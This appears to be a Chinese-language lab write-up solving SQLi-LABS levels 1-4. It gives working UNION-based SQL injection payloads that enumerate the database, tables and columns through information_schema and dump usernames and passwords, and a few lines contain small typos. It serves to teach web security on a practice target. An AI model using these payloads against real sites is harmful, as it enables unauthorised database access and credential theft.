SQLi-LABS

Less-1-4

Less-1 Error based

查看是否可以注入:

  1. 输入?id=1 发现可以

  2. 尝试闭合’发现报错

  3. 分析报错,确认闭合方式为单引号的字符型注入
    SQLi-LABS_1-4

进行字段的判断

  1. 进行order by

  2. 尝试到4发现出错

  3. 所以判断字段为3
    SQLi-LABS_1-4

进行字段查询

  1. 使用联合查询union select

  2. 使用前需要将参数?id=1改为?id=-1,否则无法在对应位置显示

SQLi-LABS_1-4

  1. 发现2,3位置存在注入,所以在2,3位置进行替换

  2. 将2,3位置替换为database(),version(),user()…来获取信息
    SQLi-LABS_1-4

探测表名

  1. 获取了数据库名后,进行对表名的探测

  2. 使用 union select group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
    SQLi-LABS_1-4

  3. 发现users这个表名,.

探测字段名

  1. 获取表名后,继续向下探测

  2. 使用union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
    SQLi-LABS_1-4

  3. 发现username和password,x.x

探测数据

  1. 直接点吧

  2. union select 1,group_concat(username),group_concat(password) from users --+
    SQLi-LABS_1-4

less2-4

因为这些很类似,只是闭合方式不同,所以放在一起,后面和上面的类似,就不会每步都截图了-.-

Less-2

  1. 加单引号 报错,发现是数字型
  2. ?id=1 oder by 4 --+ 报错
  3. ?id=-1 union select 1,2,3 --+
  4. ?id=-1 union select 1,database(),user() --+ 获取到了库名
  5. ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 获取到表名
  6. ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+获取字段名
  7. ?id=-1 union select 1,group_concat(username),group_concat(password) from users --+

Less-3

  1. 确定注入方式为’),
  2. ?id=1’) order by 4 --+报错
  3. ?id=-1’) union select 1,2,3 --+确定位置
  4. ?id=-1’) union select 1,database(),user() --+ 获取到了库名
  5. ?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 获取到表名
  6. ?id=-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+获取字段名
  7. ?id=-1’) union select 1,group_concat(username),group_concat(password) from users --+

Less-4

  1. 确定注入方式为")
  2. ?id=-1") union select 1,2,3 --+确定位置
  3. ?id=1") order by 4 --+报错
  4. ?id=-1") union select 1,database(),user() --+ 获取到了库名
  5. ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+ 获取到表名
  6. ?id=-1’") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+获取字段名
  7. ?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

相关文章:

  • 2022-01-27
  • 2021-10-19
  • 2021-07-08
  • 2021-10-02
  • 2021-07-20
  • 2022-12-23
  • 2021-10-04
  • 2021-11-29
猜你喜欢
  • 2022-12-23
  • 2021-08-03
  • 2021-12-07
  • 2022-12-23
  • 2021-08-04
  • 2021-06-08
  • 2021-11-27
相关资源
相似解决方案